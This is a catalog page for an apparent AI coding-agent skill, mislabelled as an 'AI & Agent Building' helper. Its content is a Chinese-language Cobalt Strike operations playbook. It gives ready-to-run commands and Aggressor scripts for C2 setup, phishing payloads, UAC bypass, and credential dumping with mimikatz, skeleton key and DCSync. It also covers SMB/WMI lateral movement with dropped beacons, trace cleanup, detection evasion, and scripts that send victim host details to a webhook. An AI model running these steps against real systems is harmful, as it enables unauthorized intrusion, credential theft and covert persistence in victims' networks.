
Cobalt Strike
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
cobalt-strike is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- cobalt-strike
- AI & Agent Building
- AI-coding skill
Cobalt Strike by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #10,032 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill cobalt-strikeAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Cobalt Strike 操作方法论
Cobalt Strike(CS)是商业化红队 C2 框架,采用 C/S 架构实现多人协作渗透。核心优势:团队协作(多客户端/多 TeamServer)+ Beacon 隐蔽通信(HTTP/HTTPS/DNS/SMB)+ 完整后渗透链(提权→凭据→横向→持久化)+ Aggressor 脚本扩展。
深入参考
- Beacon 命令详解与后渗透技术 → references/beacon-operations.md
- DNS/SMB/SSH Beacon 与 Arsenal Kit 选择 → references/beacon-types-and-kits.md
- Aggressor 脚本开发指南 → references/aggressor-scripting.md
---
Phase 1: TeamServer 部署与 Listener 配置
TeamServer 启动
# 基础启动(Linux only)
./teamserver <公网IP> <密码>
# 指定 Malleable C2 配置文件(推荐)
./teamserver <公网IP> <密码> <profile文件路径>部署决策:
- 生产环境必须指定 Malleable C2 Profile,默认流量特征已被各大安全产品标记
- 建议使用 c2lint 工具验证 Profile 有效性:
./c2lint <profile>
客户端连接
# Linux
./start.sh
# Windows
start.bat连接需要:TeamServer IP + 端口(默认 50050)+ 密码。首次连接需确认服务器指纹哈希。
分布式架构决策
推荐三层服务器模型:
├── 临时服务器 (Staging) → 初始投递、获取立足点(高暴露风险)
├── 持久服务器 (Long Haul) → 低频通信保持长期访问
└── 后渗透服务器 (Post-Ex) → 交互式操作、横向移动判断标准: 单目标可用单 TeamServer;多目标/长期行动必须分层,确保单点失败不影响全局。
Listener 类型选择决策树
需要创建 Listener?
├── 出网环境
│ ├── HTTP/HTTPS 受限但 DNS 可用 → DNS Beacon(低频保活/备用通道)
│ ├── 常规场景 → HTTPS Beacon(推荐,加密传输)
│ └── 简单测试 → HTTP Beacon
├── 内网横向 / 不出网
│ ├── Windows 环境 → SMB Beacon(命名管道,依赖 SMB 可达和权限)
│ ├── Linux/macOS 或已有 SSH 凭据 → SSH Beacon
│ └── 需指定端口 → TCP Beacon(正向绑定)
└── 联动 MSF → Foreign Listener(HTTP/HTTPS)Listener 命名规范: OS/Payload/Stager,例如 windows/beacon_https/reverse_https
重定向器配置
用途:保护 TeamServer 真实 IP + 提高可靠性(多重定向器并行)
# 在重定向器主机上使用 socat 转发
socat TCP4-LISTEN:80,fork TCP4:<TeamServer_IP>:80
socat TCP4-LISTEN:443,fork TCP4:<TeamServer_IP>:443将重定向器 IP 添加到 Listener 的 HTTP Hosts 中,靶机流量只与重定向器交互。
---
Phase 2: Payload 生成与投递
Staged vs Stageless 选择
Payload 类型选择:
├── Staged(分阶段)→ 体积小(~17KB),适合有大小限制的场景
│ └── Stager 先执行 → 回连下载 Stage → 内存加载执行
├── Stageless(无阶段)→ 体积大(~300KB),全功能自包含
│ └── 更稳定,适合确定性投递(如钓鱼邮件附件)
└── 安全特性:Stage 使用团队服务器公钥加密元数据,Stager 无此保护Payload 格式生成
| 路径 | 生成物 | 用途 |
|---|---|---|
| Packages → HTML Application | .hta 文件 | 钓鱼落地执行 |
| Packages → MS Office Macro | VBA 宏代码 | 嵌入 Office 文档 |
| Packages → Payload Generator | 多语言 Payload | 自定义免杀加载器 |
| Packages → Windows Executable | .exe / .dll | 直接执行或 DLL 注入 |
| Packages → Windows Executable (S) | Stageless .exe / .dll | 自包含完整 Payload |
投递方式决策
如何投递到目标?
├── 社工钓鱼
│ ├── 邮件附件 → Office 宏文档 / HTA 文件
│ ├── 邮件链接 → Scripted Web Delivery 生成一行命令
│ └── 克隆网站 → Clone Site + 嵌入攻击链接
├── Web 漏洞利用
│ ├── MSF 联动 → 设置 Foreign Listener,MSF 中配置对应 payload
│ │ └── set DisablePayloadHandler True; set PrependMigrate True
│ └── 脚本化交付 → Attacks → Web Drive-by → Scripted Web Delivery
└── 横向投递
└── upload + 远程服务/计划任务执行(见 Phase 4)---
Phase 3: Beacon 管理
会话交互基础
# 进入 Beacon 控制台
右击会话 → interact
# 通信模式控制
sleep 60 50 # 异步:60 秒回连,50% 抖动(实际 30-60 秒随机)
sleep 0 # 交互模式:命令即时执行(OPSEC 风险高)OPSEC 原则: 日常操作保持 sleep >=30s;仅在需要实时交互时临时 sleep 0,操作完毕立即恢复。
会话传递
# 派生新会话到其他 Listener
spawn <listener_name>
# 注入到指定进程
inject <pid> <x86|x64> <listener_name>
# 传递到 MSF
# 1. MSF 开启 handler (windows/meterpreter/reverse_https)
# 2. CS 创建 Foreign Listener 指向 MSF
# 3. spawn <foreign_listener>Pivoting(内网穿透)
内网不出网主机如何上线?
├── SOCKS 代理(正向)
│ ├── beacon: socks <port>
│ ├── MSF: setg Proxies socks4:<CS_IP>:<port>
│ └── 工具: proxychains 配置后使用
├── 反向端口转发
│ ├── 右击会话 → Pivoting → Listener(在已上线主机上开 Listener)
│ └── 生成指向该 Listener 的 Payload,在不出网主机执行
└── SSH 隧道
├── ssh -D 1080 user@<pivot_host>
└── socat 转发特定端口流量---
Phase 4: 后渗透操作决策树
信息收集
# 当前环境侦察
shell whoami /groups # 当前权限等级
shell net view /domain # 当前域
net view # 域内主机列表(Beacon net 模块,输出更丰富)
net dclist # 域控列表提权决策树
当前权限不足?
├── 当前用户是本地管理员组(UAC 中级)
│ ├── elevate → uac-token-duplication(Win7/Win10 2018.11 前)
│ ├── runasadmin → 其他 UAC bypass exploit
│ └── 成功后用户名后出现 * 号标识
├── 当前用户是普通用户
│ ├── PowerUp 检查弱点
│ │ └── powershell-import PowerUp.ps1; powershell Invoke-AllChecks
│ ├── elevate → 选择可用的本地提权 exploit
│ └── 加载 ElevateKit 扩展更多 exploit
├── 本地管理员(高权限)→ 系统权限
│ └── getsystem(Named Pipe 提权到 SYSTEM)
└── 已有其他用户凭据
├── spawnas <domain\user> <password> <listener>
└── runas <domain\user> <password> <command>凭据获取决策树
需要获取凭据?
├── 已是 SYSTEM / 本地管理员
│ ├── hashdump → 导出本地 SAM 哈希
│ ├── logonpasswords → Mimikatz 抓取明文密码
│ ├── mimikatz !lsadump::sam → 本地账户哈希
│ ├── mimikatz !lsadump::cache → 缓存凭证(默认缓存最近 10 个)
│ └── mimikatz !misc::memssp → 注入 SSP 记录后续登录明文
│ └── 结果保存在 C:\windows\system32\mimilsa.log
├── 域控制器上
│ ├── hashdump → 导出所有域用户哈希
│ ├── dcsync → 远程复制 AD 数据库
│ └── mimikatz lsadump::dcsync /user:krbtgt → 获取 KRBTGT 哈希
└── 查看已收集凭据
└── View → CredentialsMimikatz 执行模式:
mimikatz <command>— 当前权限执行mimikatz !<command>— 强制提升到 SYSTEM 执行mimikatz @<command>— 使用当前 Beacon 令牌执行
横向移动决策树
如何移动到目标主机?
├── 前提:已获取目标主机的信任凭据
│ ├── 令牌窃取: ps → steal_token <pid>
│ ├── 凭据创建: make_token <domain\user> <password>
│ ├── 哈希传递: pth <domain\user> <ntlm_hash>
│ └── 黄金票据: Access → Golden Ticket(需 KRBTGT 哈希 + 域 SID)
│
├── 自动化横向(推荐,无文件落地)
│ ├── psexec <target> <listener> → 服务执行(落地 EXE)
│ ├── psexec_psh <target> <listener> → 服务执行 PowerShell
│ ├── winrm <target> <listener> → WinRM 执行 PowerShell
│ └── wmi <target> <listener> → WMI 执行 PowerShell
│ └── 图形化: View → Targets → 右击 → Jump
│
├── 手动横向
│ ├── 方法一:Windows 服务
│ │ ├── upload beacon.exe
│ │ ├── shell copy beacon.exe \\target\C$\Windows\Temp
│ │ ├── shell sc \\target create svc binpath= C:\Windows\Temp\beacon.exe
│ │ ├── shell sc \\target start svc
│ │ └── link <target>(SMB Beacon)
│ └── 方法二:计划任务
│ ├── shell net time \\target(确认时间)
│ ├── shell at \\target HH:mm C:\path\beacon.exe
│ └── link <target>(SMB Beacon)
│
└── 清理痕迹
├── shell sc \\target delete svc
├── shell del \\target\C$\Windows\Temp\beacon.exe
└── shell del beacon.exe域内枚举关键命令
# 域管理员发现
shell net group "domain admins" /domain
shell net group "enterprise admins" /domain
shell net localgroup "administrators" /domain
# PowerView 高级枚举(避免 net 命令被检测)
powershell-import PowerView.ps1
powershell Find-LocalAdminAccess # 发现当前用户的本地管理员访问权限
powershell Get-NetDomain # 域信息
powershell Invoke-ShareFinder # 共享发现
powershell Get-NetLocalGroup -Hostname <target> # 目标本地管理员---
Phase 5: OPSEC 与隐蔽性
Malleable C2 Profile
作用: 自定义 Beacon 通信流量特征,伪装成正常业务流量。
# Profile 基本结构
set sleeptime "60000"; # 回连间隔(毫秒)
set jitter "50"; # 抖动百分比
set useragent "Mozilla/5.0 ...";
http-get {
set uri "/api/v1/updates";
client {
header "Accept" "application/json";
metadata {
netbios;
append "-.jpg";
uri-append;
}
}
server { ... }
}
http-post {
set uri "/api/v1/submit";
client { ... }
server { ... }
}关键配置项:
sleeptime+jitter— 控制通信频率和随机性spawnto— 指定 spawn/inject 使用的进程(避免 rundll32.exe)set host_stage "false"— 禁用 staging(防止 Stager 被扫描发现)
进程注入 OPSEC
# 使用 spawnto 避免默认 rundll32.exe
spawnto x64 %windir%\sysnative\svchost.exe -k netsvcs
spawnto x86 %windir%\syswow64\svchost.exe -k netsvcs
# PPID 欺骗 — 使新进程看起来是由合法父进程创建
ppid <合法进程PID>Arsenal Kit 与免杀策略
选择适配方案:
├── Artifact Kit → 自定义 EXE/DLL 生成模板
│ └── 生成物落地即被静态查杀时使用
├── Resource Kit → 修改 HTA/PowerShell/VBA/VBS 等脚本模板
│ └── 默认投递模板特征明显时使用
├── Sleep Mask / Mutator / Thread Stack Spoofer
│ └── 内存扫描或线程栈检测压力高时使用
├── 自定义加载器 → Payload Generator 输出 raw shellcode
│ └── 用 C/Go/Rust 编写自定义加载器
└── 注意:Kit 只能降低特定检测面,不能替代流量、进程链和权限 OPSEC详细选择边界见 references/beacon-types-and-kits.md。
---
速查:最常用 Beacon 命令
| 命令 | 说明 |
|---|---|
sleep <秒> [抖动%] | 设置回连间隔和抖动 |
shell <命令> | 通过 cmd.exe 执行命令 |
powershell <命令> | 通过 powershell.exe 执行 |
powerpick <命令> | 不使用 powershell.exe 执行 PS 命令 |
execute-assembly <path> | 内存加载 .NET 程序集 |
upload / download | 文件上传 / 下载 |
hashdump | 导出 SAM 哈希 |
logonpasswords | Mimikatz 抓取密码 |
steal_token <pid> | 窃取进程令牌 |
make_token <domain\user> <pass> | 创建令牌 |
pth <domain\user> <hash> | Pass-the-Hash |
rev2self | 恢复原始令牌 |
spawn <listener> | 派生新会话 |
inject <pid> <arch> <listener> | 注入进程 |
socks <port> | 开启 SOCKS 代理 |
link / unlink <target> | 连接 / 断开 SMB/TCP Beacon |
ps | 列出进程 |
jobs / jobkill <id> | 管理后台任务 |
screenshot / keylogger | 截屏 / 键盘记录 |
getsystem | 提权到 SYSTEM |
elevate <exploit> <listener> | 使用 exploit 提权 |
portscan <targets> <ports> <method> | 端口扫描(arp/icmp/none) |
clear | 清除命令队列 |
Aggressor Script 开发指南
Aggressor Script 是 Cobalt Strike 3.0+ 内置的脚本语言,基于 Sleep 脚本引擎解析。用于自定义菜单、自动化任务、事件响应、插件开发。脚本文件后缀为 .cna。
---
基础环境
Sleep 语言基础
Aggressor Script 由 Sleep 语言解析,Sleep 是基于 Java 的脚本语言。
# 独立运行 Sleep 解释器
java -jar sleep.jar
# 加载 CNA 到 CS
Cobalt Strike → Script Manager → Load → 选择 .cna 文件无 GUI 客户端
# 使用 agscript 运行无 GUI 的 CS 客户端
./agscript <host> <port> <user> <password>
# 加载 CNA 脚本
./agscript <host> <port> <user> <password> <script.cna>
# 适合在服务端持续运行 CNA(如上线通知),不依赖本地 GUI 客户端Aggressor 控制台
# 在 CS 中打开
Cobalt Strike → Script Console
# 控制台命令
help # 帮助信息
? # 布尔判断,如 ? int(1) == int(2)
e # 执行代码,如 e println("hello")
x # 执行计算,如 x 1 + 1(注意空格)
load <path> # 加载 CNA 脚本
reload # 重新加载 CNA
ls # 列出已加载的 CNA
proff # 禁止 Sleep 语法运行
pron # 允许 Sleep 语法运行
profile # 统计 CNA 使用的 Sleep 语法
tron # 开启函数跟踪
troff # 关闭函数跟踪---
Sleep 语法快速参考
数据类型
# 字符串
$name = "kris";
# 数字
$age = 18;
# 数组 (Arrays) — 可存放混合类型
@user_list = @("kris", 18, "sichuan");
println(@user_list[0]); # 下标访问
# 哈希 (Hashs)
%dict["name"] = "kris";
%dict["age"] = 18;
println("Dict is " . %dict);
# 字符串拼接使用 . 操作符
println("hello " . $name);注意: Sleep 对空格要求严格,运算符两侧必须有空格,如 ($1 + $2) 而非 ($1+$2)。
遍历
@name_list = @("Alice", "Bob", "Charlie");
foreach $var (@name_list) {
println($var);
}数组操作
# 追加元素
@names = @("Alice", "Bob");
push(@names, "Charlie");函数定义
sub add {
return $1 . "+" . $2 . "=" . ($1 + $2);
}
$sum = add(1, 2);
println($sum);
# 输出:1+2=3命令定义
# 在 Aggressor 控制台中注册自定义命令
command hello {
println("hello " . $1);
}
# 使用:hello world → 输出 hello world
# $1 是第一个参数,$2 是第二个,以此类推彩色输出
println("\c4This is colored text");
# \c0 到 \cF 对应不同颜色---
界面自定义
键盘快捷键
bind Ctrl+H {
show_message("快捷键触发!");
elog("使用了快捷键"); # 在 Event Log 显示
}
# 支持 Ctrl、Shift、Alt 等修饰符组合自定义菜单(顶部菜单栏)
popup my_menu {
item("&打开百度", { url_open("http://www.baidu.com"); });
separator(); # 分隔线
item("&打开谷歌", { url_open("http://www.google.com"); });
}
menubar("自定义菜单", "my_menu");扩展已有菜单
# 在 Help 菜单下添加
popup help {
item("&关于汉化", { show_message("4.1 汉化 by XXX"); });
separator();
}右键菜单(Beacon 会话)
# beacon_bottom — 添加到右键菜单底部
popup beacon_bottom {
item("&自定义操作", { show_message("clicked!"); });
}
# beacon_top — 添加到右键菜单顶部
popup beacon_top {
item("&优先操作", { show_message("top item!"); });
}
# 多级菜单
popup beacon_bottom {
menu "工具箱" {
item("&选项 A", { /* code */ });
item("&选项 B", { /* code */ });
}
}SSH 会话右键菜单
popup ssh {
item "执行命令" {
prompt_text("输入命令:", "w", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}对话框 (Dialog)
sub on_submit {
# $1 = dialog 引用, $2 = 按钮名称, $3 = 输入值哈希
show_message("dialog 引用:" . $1 . "\n按钮:" . $2);
println("用户名:" . $3["user"] . "\n密码:" . $3["password"]);
}
sub show_dialog {
$dialog = dialog("登录信息", %(user => "root", password => ""), &on_submit);
drow_text($dialog, "user", "用户名:");
drow_text($dialog, "password", "密码:");
dbutton_action($dialog, "确认");
dbutton_help($dialog, "http://help.example.com");
dialog_show($dialog);
}
# 调用示例
popup my_menu {
item("&输入信息", { show_dialog(); });
}
menubar("工具", "my_menu");dialog 回调参数:
$1— dialog 引用$2— 按钮名称$3— 用户输入值(哈希表)
---
事件处理
Event Log 状态栏
set EVENT_SBAR_LEFT {
return "[" . tstamp(ticks()) . "] " . mynick() . " 在线";
}
set EVENT_SBAR_RIGHT {
return "[lag: $1 $+ ]";
}用户加入事件
on event_join {
# $1 = 加入的用户名, $2 = 时间
show_message($1 . " 加入了服务器!");
elog(mynick() . " 来了!");
}Beacon 上线事件
on beacon_initial {
# $1 = 新上线的会话 ID
show_message("新主机上线!\n" .
"会话ID:" . $1 . "\n" .
"OS:" . beacon_info($1, "os") . "\n" .
"内网IP:" . beacon_info($1, "internal"));
}DNS Beacon 上线事件
# DNS Beacon 上线时不会触发 beacon_initial
# 需要使用 beacon_initial_empty 并手动切换通信模式
on beacon_initial_empty {
bmode($1, "dns-txt"); # 切换数据传输方式
bcheckin($1); # 强制回连
}
on beacon_initial {
show_message("主机上线:" . beacon_info($1, "internal"));
}SSH 会话上线事件
on ssh_initial {
show_message("Linux 主机上线\n" .
"IP:" . beacon_info($1, "internal") . "\n" .
"主机名:" . beacon_info($1, "computer"));
}官方事件列表:https://www.cobaltstrike.com/aggressor-script/events.html
---
数据模型 (Data Model)
数据查询接口
| 模型 | 说明 |
|---|---|
targets() | 上线过的目标主机信息 |
beacons() | 所有 Beacon 会话(含离线) |
credentials() | 获取的凭据和票据 |
downloads() | 下载记录 |
keystrokes() | 键盘记录 |
screenshots() | 截图数据(二进制流) |
sites() | 托管资源和监听端口 |
archives() | 最近的输出信息 |
# 控制台查询示例
x targets()
x beacons()
x targets()[0]["address"] # 下标 + 字典操作
# CNA 脚本获取主机信息
command info {
println("IP:" . targets()[$1]["address"] .
"\nOS:" . targets()[$1]["os"] .
"\n名称:" . targets()[$1]["name"]);
}Beacon 元数据
# 获取所有会话 ID
x beacon_ids()
# 获取会话详细信息
x beacon_info(beacon_ids()[0])
x beacon_info(beacon_ids()[0])["os"]
# 遍历所有会话
command show_all {
foreach $entry (beacons()) {
println("== 会话ID [" . $entry['id'] . "] ==");
foreach $key => $value ($entry) {
println("$[15]key : $value");
}
println();
}
}会话类型判断
# 判断是否为 SSH(Linux)会话
command check_type {
foreach @id (beacon_ids()) {
if (-isssh @id) {
println(@id . " 是 Linux 主机 " .
beacon_info(@id, "computer"));
} else {
println(@id . " 是 Windows 主机 " .
beacon_info(@id, "computer"));
}
}
}---
Listener 操作
查询监听器
# 列出所有监听器
x listeners()
# 本地监听器(如 SMB)
x listeners_local()
# 监听器详细信息
x listener_info("监听器名称")
# 遍历所有监听器信息
command show_listeners {
foreach $name (listeners()) {
println("\n== " . $name . " ==");
foreach $key => $value (listener_info($name)) {
println("$[10]key : $value");
}
}
}创建监听器
# listener_create_ext(名称, payload, 配置哈希)
listener_create_ext("my_http",
"windows/beacon_http/reverse_http",
%(host => "192.168.1.100",
port => 8080,
beacons => "192.168.1.100"));Payload 类型:
| Payload | 类型 |
|---|---|
windows/beacon_dns/reverse_dns_txt | Beacon DNS |
windows/beacon_http/reverse_http | Beacon HTTP |
windows/beacon_https/reverse_https | Beacon HTTPS |
windows/beacon_bind_pipe | Beacon SMB |
windows/beacon_bind_tcp | Beacon TCP |
windows/beacon_extc2 | External C2 |
windows/foreign/reverse_http | Foreign HTTP |
windows/foreign/reverse_https | Foreign HTTPS |
配置参数:
| 参数 | DNS | HTTP/S | SMB | TCP |
|---|---|---|---|---|
| althost | - | HTTP Host Header | - | - |
| bindto | bind port | bind port | - | - |
| beacons | C2 Hosts | C2 Hosts | - | - |
| host | staging Host | staging Host | - | - |
| port | C2 port | C2 port | pipe name | port |
| profile | - | profile variant | - | - |
| proxy | - | proxy config | - | - |
---
Payload 与 Stager 生成
Stager 数据
# 获取 Stager 数据
$data = stager("listener_name", "x64");
# 生成可执行文件
$data = artifact_stager("listener_name", "exe", "x64");
$handle = openf(">output.exe");
writeb($handle, $data);
closef($handle);artifact_stager 支持的文件类型:
| 类型 | 说明 |
|---|---|
| dll | DLL 文件 |
| exe | EXE 可执行文件 |
| powershell | PowerShell 脚本 |
| python | Python 脚本 |
| raw | 原始 shellcode |
| svcexe | Windows Service EXE |
| vbscript | VBS 脚本 |
Stageless Payload
# 导出无阶段 Payload(完整 shellcode)
$data = payload("listener_name", "x64");
$handle = openf(">payload.bin");
writeb($handle, $data);
closef($handle);本地 Stager
# TCP Bind Stager
$tcp = stager_bind_tcp("tcp_listener", "x64", "4444");
# SMB Pipe Stager
$smb = stager("smb_listener");---
Beacon 操作 API
会话传递
# 打开 Listener 选择框并传递会话
popup beacon_bottom {
item("&会话传递", {
openPayloadHelper(lambda({
bspawn($bid, $1);
}, $bid => $1));
});
}别名 (Alias)
# 为 Beacon 控制台添加自定义命令
alias info {
# $1 = 会话 ID, $2+ = 用户参数
blog($1, "名字:$2,年龄:$3");
}
# Beacon 中使用:info Alice 25SSH 别名
ssh_alias hashdump {
if (-isadmin $1) {
binput($1, "导出 /etc/shadow");
bshell($1, "cat /etc/shadow");
} else {
berror($1, "需要管理员权限!");
}
}注册命令帮助
# 让自定义命令出现在 help 列表中
ssh_command_register(
"hashdump",
"导出 Linux 密码哈希",
"使用方式:hashdump"
);日志记录
# 在 Beacon 控制台显示信息
binput($bid, "执行了自定义操作");
# 执行命令并显示
binput($bid, bshell($bid, "whoami"));常用 Beacon API
# 执行系统命令
bshell($bid, "whoami");
# 切换 DNS 通信模式
bmode($bid, "dns-txt");
# 强制回连
bcheckin($bid);
# 在 Beacon 输出信息
blog($bid, "这是输出信息");
# 显示错误信息
berror($bid, "操作失败!");
# 任务标记(用于日志和 ATT&CK 映射)
btask($bid, "描述信息", "T1059");
# 执行 Job
beacon_execute_job($bid, "program", "args", 1);---
实战脚本示例
上线通知(Server 酱 / Webhook)
on beacon_initial {
sub http_get {
local('$output');
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
$externalIP = replace(beacon_info($1, "external"), " ", "_");
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
# 替换为实际的 Webhook URL
$url = "https://webhook.example.com/notify?" .
"ip=" . $externalIP .
"&internal=" . $internalIP .
"&user=" . $userName .
"&host=" . $computerName;
http_get($url);
}权限提升注册
# 注册自定义提权 exploit
# beacon_exploit_register(名称, 描述, 函数引用)
sub my_exploit {
local('$handle $script $oneliner');
btask($1, "执行自定义提权 via $2", "T1068");
$handle = openf(getFileProper(script_resource("modules"), "exploit.ps1"));
$script = readb($handle, -1);
closef($handle);
$oneliner = beacon_host_script($1, $script);
bpowerpick!($1, "Invoke-Exploit -Command \"$2\"", $oneliner);
}
beacon_exploit_register("my-exploit", "自定义提权描述", &my_exploit);横向移动注册
# 注册自定义横向移动方式
# beacon_remote_exploit_register(名称, 架构, 描述, 函数)
sub wmi_spawn {
local('$name $exedata');
btask($1, "通过 WMI 横向到 $2", "T1047");
$name = "svc" . rand(9999) . ".exe";
$exedata = artifact_payload($3, "exe", $arch);
bupload_raw!($1, "\\\\" . $2 . "\\ADMIN\$\\" . $name, $exedata);
brun!($1, "wmic /node:\"" . $2 . "\" process call create \"\\\\" .
$2 . "\\ADMIN\$\\" . $name . "\"");
beacon_link($1, $2, $3);
}
beacon_remote_exploit_register("wmi", "x86", "WMI 横向移动",
lambda(&wmi_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "WMI 横向移动 (x64)",
lambda(&wmi_spawn, $arch => "x64"));自动初始化脚本
on ready {
println("团队服务器已就绪!");
}---
参考资源
- CS 插件编写官方文档:https://www.cobaltstrike.com/help-scripting
- Aggressor Script 官方事件列表:https://www.cobaltstrike.com/aggressor-script/events.html
- Sleep 语法文档:http://sleep.dashnine.org/manual/index.html
Beacon 命令详解与后渗透技术
本文档是 Cobalt Strike Beacon 的详细操作参考,涵盖 Beacon 控制台命令、文件操作、凭据获取、横向移动、域渗透等后渗透技术。
---
Beacon 控制台基础
进入与管理
# 进入 Beacon 控制台
右击会话 → interact
# Beacon 菜单结构
Access → 凭据操作、提权
Explore → 信息探测、文件浏览、进程列表、截屏
Pivoting → 代理隧道、端口转发、Listener
Session → 会话管理(sleep、退出、备注)通信模式控制
# 异步模式(默认)
sleep 60 # 每 60 秒回连一次
sleep 60 50 # 60 秒基础,50% 抖动(实际 30-60 秒随机)
# 交互模式
sleep 0 # 即时执行,OPSEC 风险高
# 命令队列管理
clear # 清除所有待执行命令Beacon 是异步 Payload,命令不会立即执行而是在下次 check in 时一并执行。使用 desktop 等命令时会自动进入交互模式。
---
命令执行
系统命令
# 通过 cmd.exe 执行(有回显)
shell ipconfig
shell whoami /groups
shell dir \\target\C$
# 不使用 cmd.exe 执行(有回显)
run ipconfig
# 执行命令但不回显
execute <command>
# 文件系统
cd <path>
pwd
lsPowerShell 命令
# 通过 powershell.exe 执行
powershell Get-Process
powershell Get-Help Get-Process
# 不使用 powershell.exe 执行(更隐蔽)
powerpick Get-Process
# 导入 PowerShell 脚本
powershell-import <script.ps1>
# 注意:一次只能保留一个导入的脚本,导入空文件可清除
# 注入 PowerShell 到特定进程
psinject <pid> <arch> <command>.NET 程序集执行
# 内存加载 .NET 可执行文件
execute-assembly <local_path_to_exe> [arguments]
# 示例:
execute-assembly /tools/Seatbelt.exe -group=all
execute-assembly /tools/SharpHound.exe --CollectionMethod All环境变量
setenv <name> <value>---
文件操作
文件浏览器
# 图形化文件浏览
右击会话 → Explore → File Browser
# 彩色文件夹 = 已缓存内容
# 灰色文件夹 = 未缓存文件下载
download <remote_file> # 下载文件到 TeamServer
downloads # 查看当前下载列表
cancel <filename> # 取消下载(支持通配符)
# 下载的文件保存在 TeamServer
# View → Downloads 查看,选中后 Sync Files 同步到本地
# HTTP/HTTPS 通道每次拉取 512KB 数据块文件上传
upload <local_file> # 上传到目标当前目录
timestomp <file_a> <file_b> # 将 file_a 的时间戳改为与 file_b 一致---
进程管理与注入
进程操作
ps # 列出所有进程
kill <pid> # 结束进程
# 后台任务管理
jobs # 查看当前 Beacon 后台任务
jobkill <job_id> # 停止指定任务进程注入
# 注入 shellcode 到进程
inject <pid> <x86|x64> <listener>
# 注入反射性 DLL
dllinject <pid> <local_dll>
# 从本地文件注入 shellcode
shinject <pid> <arch> <shellcode_file>
# 派生进程后注入 shellcode
shspawn <arch> <shellcode_file>
# 加载磁盘上的 DLL 到进程
dllload <pid> <remote_dll_path>Spawn 控制
# 派生新会话
spawn <listener>
spawn <arch> <listener>
# 指定 spawn 使用的进程(默认 rundll32.exe,建议修改)
spawnto x64 %windir%\sysnative\svchost.exe
spawnto x86 %windir%\syswow64\svchost.exe
# 恢复默认 spawnto
spawnto---
信息收集
屏幕截图
screenshot # 截取一次屏幕
screenshot <pid> # 注入到 x86 进程截图
screenshot <pid> x64 # 注入到 x64 进程截图
screenshot <pid> <arch> <seconds> # 持续截图指定秒数
# 查看截图:View → Screenshots
# 推荐注入 explorer.exe(稳定持久)键盘记录
keylogger # 注入临时进程
keylogger <pid> # 注入 x86 进程
keylogger <pid> x64 # 注入 x64 进程
# 查看结果:View → Keystrokes
# 注意:每个桌面会话只用一个键盘记录器,避免冲突端口扫描
portscan <targets> <ports> <discovery>
# discovery 方法:
# arp — ARP 发现(适合同网段)
# icmp — ICMP 发现
# none — 假设所有主机存活
# 图形化:右击 → Explore → Port Scan
# 结果:View → Targets;右击 → Services 查看详情浏览器转发
# 条件:目标正在使用 IE 浏览器
# 右击会话 → Explore → Browser Pivot
# 选择可注入的进程(带对勾标记),设置代理端口
# 本地浏览器配置 HTTP 代理指向 <CS_TeamServer_IP>:<端口>
# 访问目标正在打开的网站即可劫持会话---
提权技术
UAC Bypass
# 查看当前权限等级
shell whoami /groups
# 方法一:通过 Elevate 图形界面
右击 → Access → Elevate → 选择 exploit + listener
# 方法二:命令行
elevate <exploit_name> <listener>
# 常用 exploit:
# uac-token-duplication(Win7 / Win10 2018.11 前)
# ms14-058(需加载 ElevateKit)
# Bypass UAC 将中级管理员提升为高级管理员
bypassuac系统权限
# 本地管理员(高权限)→ SYSTEM
getsystem
# 使用其他用户凭据
runas <domain\user> <password> <command>
spawnas <domain\user> <password> <listener>PowerUp 提权
# 导入 PowerUp 脚本
powershell-import PowerUp.ps1
# 执行所有弱点检查
powershell Invoke-AllChecks
# 检查结果中的 AbuseFunction 字段即为可利用的提权命令
# 常见弱点:
# - 未加引号的服务路径
# - 可修改的服务可执行文件
# - DLL 劫持位置
# - 计划任务弱点
# - 自动登录凭据---
凭据获取
本地凭据
# 导出 SAM 哈希
hashdump
# Mimikatz 获取明文密码
logonpasswords
# 等同于:mimikatz sekurlsa::logonpasswords
# 查看已获取的凭据
View → CredentialsMimikatz 高级用法
# 基本格式
mimikatz <module::command> # 当前权限
mimikatz !<module::command> # 强制 SYSTEM
mimikatz @<module::command> # 使用当前令牌
# 常用命令
!lsadump::sam # 本地 SAM 哈希
!lsadump::cache # 缓存凭证(最近 10 个密码哈希)
misc::cmd # 重新启用被禁用的 CMD
# SSP 注入(记录后续登录明文密码)
mimikatz !misc::memssp
# 结果:C:\Windows\system32\mimilsa.log
# 等待用户重新登录后查看:
shell type C:\Windows\system32\mimilsa.log
# 万能密码(域内,注入 lsass,重启失效)
mimikatz misc::skeleton
# 之后所有域用户都可用统一密码登录,原密码仍有效
# 进程操作
mimikatz process::suspend <pid> # 挂起进程
mimikatz process::resume <pid> # 恢复进程DCSync 攻击
# 远程复制域控数据库中的哈希
# 需要域管理员或等效权限
mimikatz lsadump::dcsync /user:krbtgt
mimikatz lsadump::dcsync /user:Administrator---
令牌操作与身份伪装
令牌窃取
# 1. 列出进程,找到目标用户的进程
ps
# 2. 窃取令牌
steal_token <pid>
# 3. 验证身份
getuid
# 4. 执行操作(此时以目标用户身份)
shell dir \\DC\C$
# 5. 恢复原始令牌
rev2self凭据伪造
# 已知明文密码
make_token <DOMAIN\user> <password>
# 已知 NTLM 哈希(Pass-the-Hash)
pth <DOMAIN\user> <ntlm_hash>
# 原理:mimikatz 创建进程并填入哈希,CS 自动窃取该进程令牌
# 使用凭据派生会话
